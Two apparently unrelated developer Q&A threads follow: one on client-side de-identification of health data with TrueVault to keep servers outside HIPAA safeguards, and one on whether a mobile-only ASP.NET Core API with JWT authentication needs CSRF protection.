The data would be re-identified in the client application when requested by an authenticated user.

What is the sequence of events here? Is PHI data first sent to the TV server, and then an opaque identifier is sent to AWS along with the separated data? What information does the client application have at any one time? Clarity on the process would be appreciated.

TrueVault recommends doing data de-identification and re-identification client side (within your web or mobile app logic). This makes two interesting flows:
De-Identification

Data is entered into your application by the user.
Your application (e.g. JavaScript code in a browser or Swift code on an iOS device) will split that data into what is identifying (names, phone numbers, etc) and what is not identifying (other health data).
The identifying information is sent directly to TrueVault from the client application through the TrueVault API. Ideally the end-user is authenticated as a TrueVault user, so the API permissions can be granularly defined. The API returns an opaque identifier that can be associated with the de-identified data and stored on your server.
The de-identified health data (along with the TrueVault id) is sent to your server. Your server is not handling identifying data & health data, so it doesn't fall under the purview of HIPAA regulations.

Re-identification
Let's say your end-users want to search for data based on criteria stored on your server (e.g. blood pressure) but they want to see identifying data in the result set. This re-identification should happen on the client. Something like:

Client device makes a request to your server to retrieve information matching the query.
Client device pulls TrueVault ids out of the server results. These ids are opaque, they are not identifying, but they can be used to retrieve identifying data from the TrueVault API (if properly authenticated).
Client device requests identifying data from TrueVault API corresponding to the TrueVault ids returned by your server. Ideally the end-user is authenticated as a TrueVault user, so the API permissions can be granularly defined.
Client device merges the datasets so the UI shows a re-identified view of the data.

Compliance
Following these steps, you can create a seamless user experience. There's no reason the end-user should know that you're de-identifying and re-identifying data.
This process is designed to keep your server infrastructure free from HIPAA Regulations, so you can host this de-identified data in a non-compliant manner if you chose. This is all above-board with HHS, they even have specific guidance on it: https://www.hhs.gov/hipaa/for-professionals/privacy/special-topics/de-identification/index.html.
By avoiding storing Identified PHI on your servers, you can skip the physical and technical safeguards that apply to server-side infrastructure. Please understand that you don't escape the administrative requirements of HIPAA entirely. For example, in the system described above there are still human beings looking at Identified PHI. Those humans must be trained and their access must be limited to the minimal amount needed for them to perform their jobs. All of this work is a hard requirement if you're making an application that must be HIPAA Compliant, whether you use TrueVault or not. What TrueVault saves you is all of the work to have secure and compliant infrastructure for storing data, maintaining audit logs, secure backups, high availability, controlling access, managing users, and lots more.


Is CSRF prevention logic required for api that is consumed only by mobile app? I am developing an ASP.NET Core web api project whose only client will be a mobile app developed in Xamarin. There will be no web frontend for the application.

Can CSRF attacks be executed if the user can only login and consume the api from the mobile app?

EDIT

The api performs authentication by username and password by calling an endpoint configured with allow anonymous access. If the authentication process is successful, it returns a JWT that is used to authorize future calls.

A CSRF attack can only be done with requests with those three http request content types: application/x-www-form-urlencoded, multipart/form-data and text/plain. If your end point checks the request content type and makes sure it is not one of those three, that end point is protected from CSRF. So if you make the request content type be something like application/json, and you check that in the code (not just parse http request body using a json parser but actually verify the http request content type header), then you're safe. For existing deployed APIs with clients you do not control, maybe you won't be able to do this.

Another good protection, if you need to allow cookie authentication, use SameSite: Strict cookies if you don't need to allow cross origin requests.

If the end point you wish to protect doesn't do anything without authentication and only accepts authentication using a token, not a cookie and not http basic auth, then a browser doing an AJAX request from code on a malicious site won't be able to perform an authenticated request, and that is also a complete defense against CSRF. This seems to be your case.